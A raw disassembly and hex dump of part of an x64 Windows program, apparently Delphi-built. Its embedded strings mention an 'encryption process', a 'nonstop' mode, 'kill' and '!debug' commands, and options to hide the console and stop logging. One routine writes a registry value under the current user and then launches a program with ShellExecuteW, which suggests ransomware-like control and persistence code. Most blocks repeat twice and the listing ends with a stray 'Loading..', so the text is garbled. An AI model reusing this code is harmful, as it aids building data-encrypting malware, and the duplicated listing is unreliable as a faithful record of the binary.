0043961cpop rbp
0043961dret
004392a0
004392a0fn_4392a0:
004392a0push rbp
004392a1sub rsp, 64
004392a5mov rbp, rsp
004392a8mov [rbp+47], cl
004392abmov [rbp+56], 0
004392b3mov [rbp+48], 0
004392bbnop
004392bcmovzx rax, [rbp+47]
004392c1test al, al
004392c3jne 0x4392d5
004392c5mov rax, [rip+0x2ad54]
004392cccmp [rax], 0
004392cfjne 0x43960a
004392d5
004392d5loc_4392d5:
004392d5mov rcx, [rip+0x2ac74]
004392dclea rdx, [rip+869]
004392e3call fn_4080c0
004392e8mov rcx, rax
004392ebcall fn_408220
004392f0call fn_405a40
004392f5mov rcx, [rip+0x2adb4]
004392fclea rdx, [rbp+56]
00439300call fn_407750
00439305mov rcx, [rip+0x2ada4]
0043930ccall fn_4078c0
00439311call fn_405a40
00439316mov rcx, [rbp+56]
0043931alea rdx, [rip+915]
00439321call fn_40dc90
00439326test eax, eax
00439328jne 0x43940d
0043932ecmp [rip+0x373fb], 0
00439335jne 0x439403
0043933bmov rcx, [rip+0x2ac0e]
00439342xor edx, edx
00439344call fn_4080c0
00439349mov rcx, rax
0043934ccall fn_408220
00439351call fn_405a40
00439356mov rcx, [rip+0x2abf3]
0043935dlea rdx, [rip+876]
00439364call fn_4080c0
00439369mov rcx, rax
0043936ccall fn_408220
00439371call fn_405a40
00439376mov rcx, [rip+0x2abd3]
0043937dlea rdx, [rip+940]
00439384call fn_4080c0
00439389mov rcx, rax
0043938ccall fn_408220
00439391call fn_405a40
00439396mov rcx, [rip+0x2abb3]
0043939dlea rdx, [rip+1108]
004393a4call fn_4080c0
004393a9mov rcx, rax
004393accall fn_408220
004393b1call fn_405a40
004393b6mov rcx, [rip+0x2acf3]
004393bdlea rdx, [rbp+48]
004393c1call fn_407750
004393c6mov rcx, [rip+0x2ace3]
004393cdcall fn_4078c0
004393d2call fn_405a40
004393d7mov rcx, [rbp+48]
004393dblea rdx, [rip+1146]
004393e2call fn_40dc90
004393e7test eax, eax
004393e9je 0x439403
004393ebmov rcx, [rbp+48]
004393eflea rdx, [rip+1142]
004393f6call fn_40dc90
004393fbtest eax, eax
004393fdjne 0x4392d5
00439403
00439403loc_439403:
00439403mov rax, [rip+0x2ac16]
0043940amov [rax], 1
0043940d
0043940dloc_43940d:
0043940dmov rcx, [rbp+56]
00439411lea rdx, [rip+1124]
00439418call fn_40dc90
0043941dtest eax, eax
0043941fjne 0x4394ae
00439425mov rcx, [rip+0x2ab24]
0043942clea rdx, [rip+1121]
00439433call fn_4080c0
00439438mov rcx, rax
0043943bcall fn_408220
00439440call fn_405a40
00439445mov rcx, [rip+0x2ac64]
0043944clea rdx, [rbp+48]
00439450call fn_407750
00439455mov rcx, [rip+0x2ac54]
0043945ccall fn_4078c0
00439461call fn_405a40
00439466mov rcx, [rbp+48]
0043946alea rdx, [rip+1003]
00439471call fn_40dc90
00439476test eax, eax
00439478je 0x439492
0043947amov rcx, [rbp+48]
0043947elea rdx, [rip+999]
00439485call fn_40dc90
0043948atest eax, eax
0043948cjne 0x4392d5
00439492
00439492loc_439492:
00439492mov rax, [rip+0x2ab87]
00439499mov [rax+1], 1
0043949dcall fn_439260
004394a2call GetCurrentProcessId
004394a7mov ecx, eax
004394a9call fn_4389b0
004394ae
004394aeloc_4394ae:
004394aemov rcx, [rbp+56]
004394b2lea rdx, [rip+1091]
004394b9call fn_40dc90
004394betest eax, eax
004394c0jne 0x43957d
004394c6cmp [rip+0x37263], 0
004394cdje 0x4394f1
004394cfmov rcx, [rip+0x2aa7a]
004394d6lea rdx, [rip+1083]
004394ddcall fn_4080c0
004394e2mov rcx, rax
004394e5call fn_408220
004394eacall fn_405a40
004394efjmp 0x439511
004394f1
004394f1loc_4394f1:
004394f1mov rcx, [rip+0x2aa58]
004394f8lea rdx, [rip+1237]
004394ffcall fn_4080c0
00439504mov rcx, rax
00439507call fn_408220
0043950ccall fn_405a40
00439511
00439511loc_439511:
00439511mov rcx, [rip+0x2ab98]
00439518lea rdx, [rbp+48]
0043951ccall fn_407750
00439521mov rcx, [rip+0x2ab88]
00439528call fn_4078c0
0043952dcall fn_405a40
00439532mov rcx, [rbp+48]
00439536lea rdx, [rip+799]
0043953dcall fn_40dc90
00439542test eax, eax
00439544je 0x43955e
00439546mov rcx, [rbp+48]
0043954alea rdx, [rip+795]
00439551call fn_40dc90
00439556test eax, eax
00439558jne 0x4392d5
0043955e
0043955eloc_43955e:
0043955ecall FreeConsole
00439563call fn_439260
00439568mov [rip+0x371c1], 0
0043956fmov rax, [rip+0x2aa4a]
00439576mov [rax+308], 0
0043957d
0043957dloc_43957d:
0043957dcmp [rbp+56], 0
00439582je 0x4395e5
00439584mov rcx, [rbp+56]
00439588lea rdx, [rip+293]
0043958fcall fn_40dc90
00439594test eax, eax
00439596je 0x4395e5
00439598mov rcx, [rbp+56]
0043959clea rdx, [rip+729]
004395a3call fn_40dc90
004395a8test eax, eax
004395aaje 0x4395e5
004395acmov rcx, [rbp+56]
004395b0lea rdx, [rip+837]
004395b7call fn_40dc90
004395bctest eax, eax
004395beje 0x4395e5
004395c0mov rcx, [rip+0x2a989]
004395c7lea rdx, [rip+1170]
004395cecall fn_4080c0
004395d3mov rcx, rax
004395d6call fn_408220
004395dbcall fn_405a40
004395e0jmp 0x4392d5
004395e5
004395e5loc_4395e5:
004395e5cmp [rip+0x37144], 0
004395ecje 0x439609
004395eelea rcx, [rip+0x36e3b]
004395f5xor edx, edx
004395f7call fn_4080c0
004395fcmov rcx, rax
004395ffcall fn_408220
00439604call fn_405a40
00439609
00439609loc_439609:
00439609nop
0043960a
0043960aloc_43960a:
0043960alea rcx, [rbp+48]
0043960emov edx, 2
00439613call fn_40bdd0
00439618lea rsp, [rbp+64]
0043961cpop rbp
0043961dret
004392a0
0043961e
0043961e 48 90 H.
0043961e 48 90 H.
00439620
00439620fn_439620:
00439620push rbp
00439621sub rsp, 32
00439625mov rbp, rsp
00439628lea rcx, [rdx+48]
0043962cmov edx, 2
00439631call fn_40bdd0
00439636lea rsp, [rbp+32]
0043963apop rbp
0043963bret
00439620
00439620fn_439620:
00439620push rbp
00439621sub rsp, 32
00439625mov rbp, rsp
00439628lea rcx, [rdx+48]
0043962cmov edx, 2
00439631call fn_40bdd0
00439636lea rsp, [rbp+32]
0043963apop rbp
0043963bret
00439620
0043963c
0043963c b0 04 02 00 ....
00439640 ff ff ff ff 2f 00 00 00 50 00 72 00 65 00 73 00 ..../...P.r.e.s.
00439650 73 00 20 00 45 00 4e 00 54 00 45 00 52 00 20 00 s. .E.N.T.E.R. .
00439660 74 00 6f 00 20 00 63 00 6f 00 6e 00 74 00 69 00 t.o. .c.o.n.t.i.
00439670 6e 00 75 00 65 00 20 00 6f 00 72 00 20 00 65 00 n.u.e. .o.r. .e.
00439680 6e 00 74 00 65 00 72 00 20 00 74 00 68 00 65 00 n.t.e.r. .t.h.e.
00439690 20 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 .c.o.m.m.a.n.d.
004396a0 2e 00 2e 00 2e 00 00 00 b0 04 02 00 ff ff ff ff ................
004396b0 07 00 00 00 6e 00 6f 00 6e 00 73 00 74 00 6f 00 ....n.o.n.s.t.o.
004396c0 70 00 00 00 b0 04 02 00 ff ff ff ff 28 00 00 00 p...........(...
004396d0 59 00 6f 00 75 00 20 00 6e 00 6f 00 74 00 20 00 Y.o.u. .n.o.t. .
004396e0 65 00 6e 00 61 00 62 00 6c 00 65 00 20 00 73 00 e.n.a.b.l.e. .s.
004396f0 61 00 76 00 65 00 20 00 6c 00 6f 00 67 00 73 00 a.v.e. .l.o.g.s.
00439700 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 65 00 .t.o. .f.i.l.e.
00439710 20 00 6f 00 70 00 74 00 69 00 6f 00 6e 00 2e 00 .o.p.t.i.o.n...
00439720 00 00 00 00 b0 04 02 00 ff ff ff ff 5d 00 00 00 ............]...
00439730 49 00 66 00 20 00 79 00 6f 00 75 00 20 00 65 00 I.f. .y.o.u. .e.
00439740 6e 00 74 00 65 00 72 00 20 00 59 00 20 00 63 00 n.t.e.r. .Y. .c.
00439750 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 74 00 o.m.m.a.n.d. .t.
00439760 68 00 65 00 6e 00 20 00 79 00 6f 00 75 00 20 00 h.e.n. .y.o.u. .
00439770 63 00 61 00 6e 00 27 00 74 00 20 00 72 00 65 00 c.a.n.'.t. .r.e.
00439780 61 00 64 00 20 00 6c 00 6f 00 67 00 73 00 20 00 a.d. .l.o.g.s. .
00439790 77 00 68 00 65 00 6e 00 20 00 73 00 6f 00 66 00 w.h.e.n. .s.o.f.
004397a0 74 00 77 00 61 00 72 00 65 00 20 00 69 00 73 00 t.w.a.r.e. .i.s.
004397b0 20 00 66 00 69 00 6e 00 69 00 73 00 68 00 65 00 .f.i.n.i.s.h.e.
004397c0 64 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 d. .e.n.c.r.y.p.
004397d0 74 00 69 00 6f 00 6e 00 20 00 70 00 72 00 6f 00 t.i.o.n. .p.r.o.
004397e0 63 00 65 00 73 00 73 00 2e 00 00 00 b0 04 02 00 c.e.s.s.........
004397f0 ff ff ff ff 2b 00 00 00 41 00 72 00 65 00 20 00 ....+...A.r.e. .
00439800 79 00 6f 00 75 00 20 00 73 00 75 00 72 00 65 00 y.o.u. .s.u.r.e.
00439810 20 00 77 00 61 00 6e 00 74 00 20 00 65 00 6e 00 .w.a.n.t. .e.n.
00439820 61 00 62 00 6c 00 65 00 20 00 6e 00 6f 00 6e 00 a.b.l.e. .n.o.n.
00439830 73 00 74 00 6f 00 70 00 20 00 6d 00 6f 00 64 00 s.t.o.p. .m.o.d.
00439840 65 00 3f 00 20 00 59 00 2f 00 4e 00 3f 00 00 00 e.?. .Y./.N.?...
00439850 b0 04 02 00 ff ff ff ff 01 00 00 00 59 00 00 00 ............Y...
00439860 b0 04 02 00 ff ff ff ff 01 00 00 00 79 00 00 00 ............y...
00439870 b0 04 02 00 ff ff ff ff 04 00 00 00 6b 00 69 00 ............k.i.
00439880 6c 00 6c 00 00 00 00 00 b0 04 02 00 ff ff ff ff l.l.............
00439890 2c 00 00 00 41 00 72 00 65 00 20 00 79 00 6f 00 ,...A.r.e. .y.o.
004398a0 75 00 20 00 73 00 75 00 72 00 65 00 20 00 77 00 u. .s.u.r.e. .w.
004398b0 61 00 6e 00 74 00 20 00 74 00 6f 00 20 00 74 00 a.n.t. .t.o. .t.
004398c0 65 00 72 00 6d 00 69 00 6e 00 61 00 74 00 65 00 e.r.m.i.n.a.t.e.
004398d0 20 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 .p.r.o.c.e.s.s.
004398e0 3f 00 20 00 59 00 2f 00 4e 00 3f 00 00 00 00 00 ?. .Y./.N.?.....
004398f0 b0 04 02 00 ff ff ff ff 06 00 00 00 21 00 64 00 ............!.d.
00439900 65 00 62 00 75 00 67 00 00 00 00 00 b0 04 02 00 e.b.u.g.........
00439910 ff ff ff ff 57 00 00 00 41 00 72 00 65 00 20 00 ....W...A.r.e. .
00439920 79 00 6f 00 75 00 20 00 73 00 75 00 72 00 65 00 y.o.u. .s.u.r.e.
00439930 20 00 77 00 61 00 6e 00 74 00 20 00 74 00 6f 00 .w.a.n.t. .t.o.
00439940 20 00 73 00 74 00 6f 00 70 00 20 00 64 00 65 00 .s.t.o.p. .d.e.
00439950 62 00 75 00 67 00 20 00 6d 00 6f 00 64 00 65 00 b.u.g. .m.o.d.e.
00439960 2c 00 20 00 68 00 69 00 64 00 65 00 20 00 63 00 ,. .h.i.d.e. .c.
00439970 6f 00 6e 00 73 00 6f 00 6c 00 65 00 20 00 6c 00 o.n.s.o.l.e. .l.
00439980 6f 00 67 00 20 00 61 00 6e 00 64 00 20 00 73 00 o.g. .a.n.d. .s.
00439990 74 00 6f 00 70 00 20 00 77 00 72 00 69 00 74 00 t.o.p. .w.r.i.t.
004399a0 65 00 20 00 6c 00 6f 00 67 00 20 00 74 00 6f 00 e. .l.o.g. .t.o.
004399b0 20 00 66 00 69 00 6c 00 65 00 3f 00 20 00 59 00 .f.i.l.e.?. .Y.
004399c0 2f 00 4e 00 3f 00 00 00 b0 04 02 00 ff ff ff ff /.N.?...........
004399d0 3f 00 00 00 41 00 72 00 65 00 20 00 79 00 6f 00 ?...A.r.e. .y.o.
004399e0 75 00 20 00 73 00 75 00 72 00 65 00 20 00 77 00 u. .s.u.r.e. .w.
004399f0 61 00 6e 00 74 00 20 00 74 00 6f 00 20 00 73 00 a.n.t. .t.o. .s.
00439a00 74 00 6f 00 70 00 20 00 64 00 65 00 62 00 75 00 t.o.p. .d.e.b.u.
00439a10 67 00 20 00 6d 00 6f 00 64 00 65 00 20 00 61 00 g. .m.o.d.e. .a.
00439a20 6e 00 64 00 20 00 68 00 69 00 64 00 65 00 20 00 n.d. .h.i.d.e. .
00439a30 63 00 6f 00 6e 00 73 00 6f 00 6c 00 65 00 20 00 c.o.n.s.o.l.e. .
00439a40 6c 00 6f 00 67 00 3f 00 20 00 59 00 2f 00 4e 00 l.o.g.?. .Y./.N.
00439a50 3f 00 00 00 b0 04 02 00 ff ff ff ff 23 00 00 00 ?...........#...
00439a60 49 00 6e 00 76 00 61 00 6c 00 69 00 64 00 65 00 I.n.v.a.l.i.d.e.
00439a70 20 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 .c.o.m.m.a.n.d.
00439a80 2e 00 20 00 50 00 6c 00 65 00 61 00 73 00 65 00 .. .P.l.e.a.s.e.
00439a90 20 00 74 00 72 00 79 00 20 00 61 00 67 00 61 00 .t.r.y. .a.g.a.
00439aa0 69 00 6e 00 2e 00 00 00 cc cc cc cc cc cc cc cc i.n.............
0043963c b0 04 02 00 ....
00439640 ff ff ff ff 2f 00 00 00 50 00 72 00 65 00 73 00 ..../...P.r.e.s.
00439650 73 00 20 00 45 00 4e 00 54 00 45 00 52 00 20 00 s. .E.N.T.E.R. .
00439660 74 00 6f 00 20 00 63 00 6f 00 6e 00 74 00 69 00 t.o. .c.o.n.t.i.
00439670 6e 00 75 00 65 00 20 00 6f 00 72 00 20 00 65 00 n.u.e. .o.r. .e.
00439680 6e 00 74 00 65 00 72 00 20 00 74 00 68 00 65 00 n.t.e.r. .t.h.e.
00439690 20 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 .c.o.m.m.a.n.d.
004396a0 2e 00 2e 00 2e 00 00 00 b0 04 02 00 ff ff ff ff ................
004396b0 07 00 00 00 6e 00 6f 00 6e 00 73 00 74 00 6f 00 ....n.o.n.s.t.o.
004396c0 70 00 00 00 b0 04 02 00 ff ff ff ff 28 00 00 00 p...........(...
004396d0 59 00 6f 00 75 00 20 00 6e 00 6f 00 74 00 20 00 Y.o.u. .n.o.t. .
004396e0 65 00 6e 00 61 00 62 00 6c 00 65 00 20 00 73 00 e.n.a.b.l.e. .s.
004396f0 61 00 76 00 65 00 20 00 6c 00 6f 00 67 00 73 00 a.v.e. .l.o.g.s.
00439700 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 65 00 .t.o. .f.i.l.e.
00439710 20 00 6f 00 70 00 74 00 69 00 6f 00 6e 00 2e 00 .o.p.t.i.o.n...
00439720 00 00 00 00 b0 04 02 00 ff ff ff ff 5d 00 00 00 ............]...
00439730 49 00 66 00 20 00 79 00 6f 00 75 00 20 00 65 00 I.f. .y.o.u. .e.
00439740 6e 00 74 00 65 00 72 00 20 00 59 00 20 00 63 00 n.t.e.r. .Y. .c.
00439750 6f 00 6d 00 6d 00 61 00 6e 00 64 00 20 00 74 00 o.m.m.a.n.d. .t.
00439760 68 00 65 00 6e 00 20 00 79 00 6f 00 75 00 20 00 h.e.n. .y.o.u. .
00439770 63 00 61 00 6e 00 27 00 74 00 20 00 72 00 65 00 c.a.n.'.t. .r.e.
00439780 61 00 64 00 20 00 6c 00 6f 00 67 00 73 00 20 00 a.d. .l.o.g.s. .
00439790 77 00 68 00 65 00 6e 00 20 00 73 00 6f 00 66 00 w.h.e.n. .s.o.f.
004397a0 74 00 77 00 61 00 72 00 65 00 20 00 69 00 73 00 t.w.a.r.e. .i.s.
004397b0 20 00 66 00 69 00 6e 00 69 00 73 00 68 00 65 00 .f.i.n.i.s.h.e.
004397c0 64 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 d. .e.n.c.r.y.p.
004397d0 74 00 69 00 6f 00 6e 00 20 00 70 00 72 00 6f 00 t.i.o.n. .p.r.o.
004397e0 63 00 65 00 73 00 73 00 2e 00 00 00 b0 04 02 00 c.e.s.s.........
004397f0 ff ff ff ff 2b 00 00 00 41 00 72 00 65 00 20 00 ....+...A.r.e. .
00439800 79 00 6f 00 75 00 20 00 73 00 75 00 72 00 65 00 y.o.u. .s.u.r.e.
00439810 20 00 77 00 61 00 6e 00 74 00 20 00 65 00 6e 00 .w.a.n.t. .e.n.
00439820 61 00 62 00 6c 00 65 00 20 00 6e 00 6f 00 6e 00 a.b.l.e. .n.o.n.
00439830 73 00 74 00 6f 00 70 00 20 00 6d 00 6f 00 64 00 s.t.o.p. .m.o.d.
00439840 65 00 3f 00 20 00 59 00 2f 00 4e 00 3f 00 00 00 e.?. .Y./.N.?...
00439850 b0 04 02 00 ff ff ff ff 01 00 00 00 59 00 00 00 ............Y...
00439860 b0 04 02 00 ff ff ff ff 01 00 00 00 79 00 00 00 ............y...
00439870 b0 04 02 00 ff ff ff ff 04 00 00 00 6b 00 69 00 ............k.i.
00439880 6c 00 6c 00 00 00 00 00 b0 04 02 00 ff ff ff ff l.l.............
00439890 2c 00 00 00 41 00 72 00 65 00 20 00 79 00 6f 00 ,...A.r.e. .y.o.
004398a0 75 00 20 00 73 00 75 00 72 00 65 00 20 00 77 00 u. .s.u.r.e. .w.
004398b0 61 00 6e 00 74 00 20 00 74 00 6f 00 20 00 74 00 a.n.t. .t.o. .t.
004398c0 65 00 72 00 6d 00 69 00 6e 00 61 00 74 00 65 00 e.r.m.i.n.a.t.e.
004398d0 20 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 .p.r.o.c.e.s.s.
004398e0 3f 00 20 00 59 00 2f 00 4e 00 3f 00 00 00 00 00 ?. .Y./.N.?.....
004398f0 b0 04 02 00 ff ff ff ff 06 00 00 00 21 00 64 00 ............!.d.
00439900 65 00 62 00 75 00 67 00 00 00 00 00 b0 04 02 00 e.b.u.g.........
00439910 ff ff ff ff 57 00 00 00 41 00 72 00 65 00 20 00 ....W...A.r.e. .
00439920 79 00 6f 00 75 00 20 00 73 00 75 00 72 00 65 00 y.o.u. .s.u.r.e.
00439930 20 00 77 00 61 00 6e 00 74 00 20 00 74 00 6f 00 .w.a.n.t. .t.o.
00439940 20 00 73 00 74 00 6f 00 70 00 20 00 64 00 65 00 .s.t.o.p. .d.e.
00439950 62 00 75 00 67 00 20 00 6d 00 6f 00 64 00 65 00 b.u.g. .m.o.d.e.
00439960 2c 00 20 00 68 00 69 00 64 00 65 00 20 00 63 00 ,. .h.i.d.e. .c.
00439970 6f 00 6e 00 73 00 6f 00 6c 00 65 00 20 00 6c 00 o.n.s.o.l.e. .l.
00439980 6f 00 67 00 20 00 61 00 6e 00 64 00 20 00 73 00 o.g. .a.n.d. .s.
00439990 74 00 6f 00 70 00 20 00 77 00 72 00 69 00 74 00 t.o.p. .w.r.i.t.
004399a0 65 00 20 00 6c 00 6f 00 67 00 20 00 74 00 6f 00 e. .l.o.g. .t.o.
004399b0 20 00 66 00 69 00 6c 00 65 00 3f 00 20 00 59 00 .f.i.l.e.?. .Y.
004399c0 2f 00 4e 00 3f 00 00 00 b0 04 02 00 ff ff ff ff /.N.?...........
004399d0 3f 00 00 00 41 00 72 00 65 00 20 00 79 00 6f 00 ?...A.r.e. .y.o.
004399e0 75 00 20 00 73 00 75 00 72 00 65 00 20 00 77 00 u. .s.u.r.e. .w.
004399f0 61 00 6e 00 74 00 20 00 74 00 6f 00 20 00 73 00 a.n.t. .t.o. .s.
00439a00 74 00 6f 00 70 00 20 00 64 00 65 00 62 00 75 00 t.o.p. .d.e.b.u.
00439a10 67 00 20 00 6d 00 6f 00 64 00 65 00 20 00 61 00 g. .m.o.d.e. .a.
00439a20 6e 00 64 00 20 00 68 00 69 00 64 00 65 00 20 00 n.d. .h.i.d.e. .
00439a30 63 00 6f 00 6e 00 73 00 6f 00 6c 00 65 00 20 00 c.o.n.s.o.l.e. .
00439a40 6c 00 6f 00 67 00 3f 00 20 00 59 00 2f 00 4e 00 l.o.g.?. .Y./.N.
00439a50 3f 00 00 00 b0 04 02 00 ff ff ff ff 23 00 00 00 ?...........#...
00439a60 49 00 6e 00 76 00 61 00 6c 00 69 00 64 00 65 00 I.n.v.a.l.i.d.e.
00439a70 20 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 .c.o.m.m.a.n.d.
00439a80 2e 00 20 00 50 00 6c 00 65 00 61 00 73 00 65 00 .. .P.l.e.a.s.e.
00439a90 20 00 74 00 72 00 79 00 20 00 61 00 67 00 61 00 .t.r.y. .a.g.a.
00439aa0 69 00 6e 00 2e 00 00 00 cc cc cc cc cc cc cc cc i.n.............
00439ab0
00439ab0Unit40.finalization:
00439ab0push rbp
00439ab1sub rsp, 32
00439ab5mov rbp, rsp
00439ab8nop
00439ab9add [rip+0x36c78], 1
00439ac0cmp [rip+0x36c71], 0
00439ac7jne 0x439add
00439ac9lea rcx, [rip+0x36960]
00439ad0mov rdx, [rip-4535]
00439ad7call fn_40e630
00439adcnop
00439add
00439addloc_439add:
00439addlea rsp, [rbp+32]
00439ae1pop rbp
00439ae2ret
00439ab0
00439ab0Unit40.finalization:
00439ab0push rbp
00439ab1sub rsp, 32
00439ab5mov rbp, rsp
00439ab8nop
00439ab9add [rip+0x36c78], 1
00439ac0cmp [rip+0x36c71], 0
00439ac7jne 0x439add
00439ac9lea rcx, [rip+0x36960]
00439ad0mov rdx, [rip-4535]
00439ad7call fn_40e630
00439adcnop
00439add
00439addloc_439add:
00439addlea rsp, [rbp+32]
00439ae1pop rbp
00439ae2ret
00439ab0
00439ae3
00439ae3 48 8d 44 20 00 48 8d 04 05 00 00 00 00 H.D .H.......
00439ae3 48 8d 44 20 00 48 8d 04 05 00 00 00 00 H.D .H.......
00439af0
00439af0fn_439af0:
00439af0push rbp
00439af1mov rbp, rsp
00439af4mov rsp, rbp
00439af7pop rbp
00439af8ret
00439af0
00439af0fn_439af0:
00439af0push rbp
00439af1mov rbp, rsp
00439af4mov rsp, rbp
00439af7pop rbp
00439af8ret
00439af0
00439af9
00439af9 // align 0x10
00439af9 // align 0x10
00439b00
00439b00Unit40.initialization:
00439b00sub [rip+0x36c31], 1
00439b07cmp [rip+0x36c2a], -1
00439b0eret
00439b00
00439b00Unit40.initialization:
00439b00sub [rip+0x36c31], 1
00439b07cmp [rip+0x36c2a], -1
00439b0eret
00439b00
00439b0f
00439b0f // align 0x10
00439b0f // align 0x10
00439b10
00439b10fn_439b10:
00439b10push rbp
00439b11push rsi
00439b12push rbx
00439b13add rsp, -128
00439b17mov rbp, rsp
00439b1amov [rbp+48], 0
00439b22mov [rbp+56], 0
00439b2amov [rbp+64], 0
00439b32mov [rbp+96], 0
00439b3amov [rbp+72], 0
00439b42mov [rbp+104], 0
00439b4anop
00439b4blea rcx, [rbp+104]
00439b4fmov rax, [rip+0x2a46a]
00439b56mov rdx, [rax+280]
00439b5dlea r8, [rip+436]
00439b64call fn_40d230
00439b69mov rcx, [rbp+104]
00439b6dcall fn_42fe80
00439b72test al, al
00439b74je 0x439cb3
00439b7amov rcx, 0xffffffff80000001
00439b81lea rdx, [rip+438]
00439b88lea r8, [rbp+120]
00439b8ccall RegOpenKeyW
00439b91mov rax, [rip+0x2a428]
00439b98mov rax, [rax+128]
00439b9ftest rax, rax
00439ba2je 0x439ba8
00439ba4mov rax, [rax-8]
00439ba8
00439ba8loc_439ba8:
00439ba8lea rcx, [rbp+80]
00439bacmov rdx, [rip+0x2a40d]
00439bb3mov rdx, [rdx+128]
00439bbamov r8l, eax
00439bbdcall fn_432b30
00439bc2lea rcx, [rbp+96]
00439bc6lea rdx, [rbp+80]
00439bcacall fn_432a70
00439bcflea rcx, [rbp+72]
00439bd3mov rdx, [rbp+96]
00439bd7call fn_40d150
00439bdcmov rcx, [rbp+72]
00439be0call fn_40d180
00439be5mov rsi, rax
00439be8lea rcx, [rbp+64]
00439becmov rax, [rip+0x2a3cd]
00439bf3mov rdx, [rax+280]
00439bfalea r8, [rip+279]
00439c01call fn_40d230
00439c06mov rax, [rbp+64]
00439c0axor ebx, ebx
00439c0ctest rax, rax
00439c0fje 0x439c17
00439c11mov ebx, [rax-4]
00439c14shr ebx, 1
00439c17
00439c17loc_439c17:
00439c17lea rcx, [rbp+56]
00439c1bmov rax, [rip+0x2a39e]
00439c22mov rdx, [rax+280]
00439c29lea r8, [rip+232]
00439c30call fn_40d230
00439c35mov rcx, [rbp+56]
00439c39call fn_40d180
00439c3emov rcx, [rbp+120]
00439c42mov rdx, rsi
00439c45xor r8, r8
00439c48mov r9l, 1
00439c4emov [rsp+32], rax
00439c53add ebx, ebx
00439c55mov [rsp+40], ebx
00439c59call RegSetValueExW
00439c5emov rcx, [rbp+120]
00439c62call RegCloseKey
00439c67lea rcx, [rbp+48]
00439c6bmov rax, [rip+0x2a34e]
00439c72mov rdx, [rax+280]
00439c79lea r8, [rip+152]
00439c80call fn_40d230
00439c85mov rcx, [rbp+48]
00439c89call fn_40d180
00439c8exor ecx, ecx
00439c90lea rdx, [rip+259]
00439c97mov r8, rax
00439c9axor r9, r9
00439c9dmov [rsp+32], 0
00439ca6mov [rsp+40], 5
00439caecall ShellExecuteW
00439cb3
00439cb3loc_439cb3:
00439cb3nop
00439cb4lea rcx, [rbp+48]
00439cb8mov edx, 4
00439cbdcall fn_40be70
00439cc2lea rcx, [rbp+96]
00439cc6call fn_40bd40
00439ccblea rcx, [rbp+104]
00439ccfcall fn_40bd90
00439cd4lea rsp, [rbp+128]
00439cdbpop rbx
00439cdcpop rsi
00439cddpop rbp
00439cderet
00439b10
00439b10fn_439b10:
00439b10push rbp
00439b11push rsi
00439b12push rbx
00439b13add rsp, -128
00439b17mov rbp, rsp
00439b1amov [rbp+48], 0
00439b22mov [rbp+56], 0
00439b2amov [rbp+64], 0
00439b32mov [rbp+96], 0
00439b3amov [rbp+72], 0
00439b42mov [rbp+104], 0
00439b4anop
00439b4blea rcx, [rbp+104]
00439b4fmov rax, [rip+0x2a46a]
00439b56mov rdx, [rax+280]
00439b5dlea r8, [rip+436]
00439b64call fn_40d230
00439b69mov rcx, [rbp+104]
00439b6dcall fn_42fe80
00439b72test al, al
00439b74je 0x439cb3
00439b7amov rcx, 0xffffffff80000001
00439b81lea rdx, [rip+438]
00439b88lea r8, [rbp+120]
00439b8ccall RegOpenKeyW
00439b91mov rax, [rip+0x2a428]
00439b98mov rax, [rax+128]
00439b9ftest rax, rax
00439ba2je 0x439ba8
00439ba4mov rax, [rax-8]
00439ba8
00439ba8loc_439ba8:
00439ba8lea rcx, [rbp+80]
00439bacmov rdx, [rip+0x2a40d]
00439bb3mov rdx, [rdx+128]
00439bbamov r8l, eax
00439bbdcall fn_432b30
00439bc2lea rcx, [rbp+96]
00439bc6lea rdx, [rbp+80]
00439bcacall fn_432a70
00439bcflea rcx, [rbp+72]
00439bd3mov rdx, [rbp+96]
00439bd7call fn_40d150
00439bdcmov rcx, [rbp+72]
00439be0call fn_40d180
00439be5mov rsi, rax
00439be8lea rcx, [rbp+64]
00439becmov rax, [rip+0x2a3cd]
00439bf3mov rdx, [rax+280]
00439bfalea r8, [rip+279]
00439c01call fn_40d230
00439c06mov rax, [rbp+64]
00439c0axor ebx, ebx
00439c0ctest rax, rax
00439c0fje 0x439c17
00439c11mov ebx, [rax-4]
00439c14shr ebx, 1
00439c17
00439c17loc_439c17:
00439c17lea rcx, [rbp+56]
00439c1bmov rax, [rip+0x2a39e]
00439c22mov rdx, [rax+280]
00439c29lea r8, [rip+232]
00439c30call fn_40d230
00439c35mov rcx, [rbp+56]
00439c39call fn_40d180
00439c3emov rcx, [rbp+120]
00439c42mov rdx, rsi
00439c45xor r8, r8
00439c48mov r9l, 1
00439c4emov [rsp+32], rax
00439c53add ebx, ebx
00439c55mov [rsp+40], ebx
00439c59call RegSetValueExW
00439c5emov rcx, [rbp+120]
00439c62call RegCloseKey
00439c67lea rcx, [rbp+48]
00439c6bmov rax, [rip+0x2a34e]
00439c72mov rdx, [rax+280]
00439c79lea r8, [rip+152]
00439c80call fn_40d230
00439c85mov rcx, [rbp+48]
00439c89call fn_40d180
00439c8exor ecx, ecx
00439c90lea rdx, [rip+259]
00439c97mov r8, rax
00439c9axor r9, r9
00439c9dmov [rsp+32], 0
00439ca6mov [rsp+40], 5
00439caecall ShellExecuteW
00439cb3
00439cb3loc_439cb3:
00439cb3nop
00439cb4lea rcx, [rbp+48]
00439cb8mov edx, 4
00439cbdcall fn_40be70
00439cc2lea rcx, [rbp+96]
00439cc6call fn_40bd40
00439ccblea rcx, [rbp+104]
00439ccfcall fn_40bd90
00439cd4lea rsp, [rbp+128]
00439cdbpop rbx
00439cdcpop rsi
00439cddpop rbp
00439cderet
00439b10
Loading..